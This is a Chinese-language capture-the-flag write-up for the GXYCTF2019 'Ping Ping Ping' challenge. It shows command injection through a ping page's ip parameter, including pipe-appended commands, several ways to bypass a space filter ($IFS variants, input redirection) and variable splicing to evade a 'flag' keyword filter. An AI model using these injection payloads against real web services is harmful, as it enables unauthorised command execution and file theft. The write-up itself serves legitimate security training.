当前位置: 代码迷 >> 综合 >> [GXYCTF2019]Ping Ping Ping1
  详细解决方案

[GXYCTF2019]Ping Ping Ping1

热度:44   发布时间:2023-11-21 13:40:32.0

1. 了解ping  

在网络中 ping 是一个十分强大的 TCP/IP 工具。它的作用主要为:

1、用来检测网络的连通情况和分析网络速度

2、根据域名得到服务器 IP

3、根据 ping 返回的 TTL 值来判断对方所使用的操作系统及数据包经过路由器数量。

我们通常会用它来直接 ping ip 地址,来测试网络的连通情况。

2. 提示输入特殊的ip进行访问  

127.0.0.1:访问本地机  

http://d81cabeb-a5cc-4a72-bfeb-c38b43d78838.node4.buuoj.cn:81/?ip=127.0.0.1  

 

 3. 页面成功返回,我们尝试使用管道符执行我们想要执行的命令

ls - 列出目录内容  

http://d81cabeb-a5cc-4a72-bfeb-c38b43d78838.node4.buuoj.cn:81/?ip=127.0.0.1%20|%20ls  

 4. 怀疑是空格的原因,去掉空格,改为

?ip=127.0.0.1|ls

5.目录下存在flag.php和index.php文件  

cat命令用于连接文件并打印到标准输出设备上。(获取文件)  

绕过空格办法

cat flag.txt

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

?ip=127.0.0.1|cat$IFS$1index.php  成功  

6.代码解读

flag连着写,就不会匹配到  

可以看到有$a变量

变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php  

得到flag